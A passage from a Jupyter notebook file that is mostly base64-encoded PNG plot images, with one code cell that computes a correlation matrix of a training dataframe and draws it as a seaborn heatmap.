DCQOFaXLl3w008/ISEhAUOHDsWSJUugrq5eBa2WDF+rDwF+03OR2kGqphtASF0WGRkJU1NTAEBgYGCtyOMnEomgoaGBS5cuQV9fHz/88AOEQqFEMYrL1WzcuBE//vgjfH19IScnB1NTU3bjcE3ia/Xhl4qLg968eZOXeKRm0IiNEA5ycnKwefNmdpRWGzq0YvLy8vjrr78QFRWFtWvXwsvLS+JaY6dOnYKVlRVkZGSwceNG+Pv7AwDGjh1bbpqt6sTn6kM+0nOR2oU6NkIkFBkZCScnJwwfPhxBQUG8FKjkk4eHB06dOoUdO3agadOmSE5OxtatWyWKUfL64Zfry2rDejM+Vx/yXRyU1DxaFUmIhHr06AEZGRmoqKiILTqoLUmQ+TBhwgR2JGNubs6O2Mq6Xx/wWRyU1Dz61yNEQrW14yprdR/wvw5XktWa31OyXb6Lg5KaRyM2Qkgpffr0YTctJyUlsf/PMAw+fPiABw8e1GTzeDV16lSsXLlSLD2Xq6srp/RcpHagERshpJTQ0NCabkK14TM9F6kdqGMjhJRSk6V3qhuf6blI7UBTkYSQ7xql56p/aIM2IeS7VpyeKyIiAl5eXmjWrBmio6NrulmkEmjERgj5rhkbG7PpuQAgNzcXkydPRlBQUA23jHBFIzZCyHetqtJzkZpDi0cIId81PtNzkdqBpiIJId+9kum5NDQ0qDhoHUcdGyGEkHqFrrERQgipV6hjI4QQUq9Qx0YIIaReoY6NEEJIvUIdGyGEkHrl/wBwChSxFL/69AAAAABJRU5ErkJggg==", + "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], + "source": [ + "corr = dc_train.corr()\n", + "sns.heatmap(corr, cmap = 'coolwarm')" + ] + }, + { + "cell_type": "code", + "execution_count": 41, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "" + ] + }, + "execution_count": 41, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "image/png": 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", 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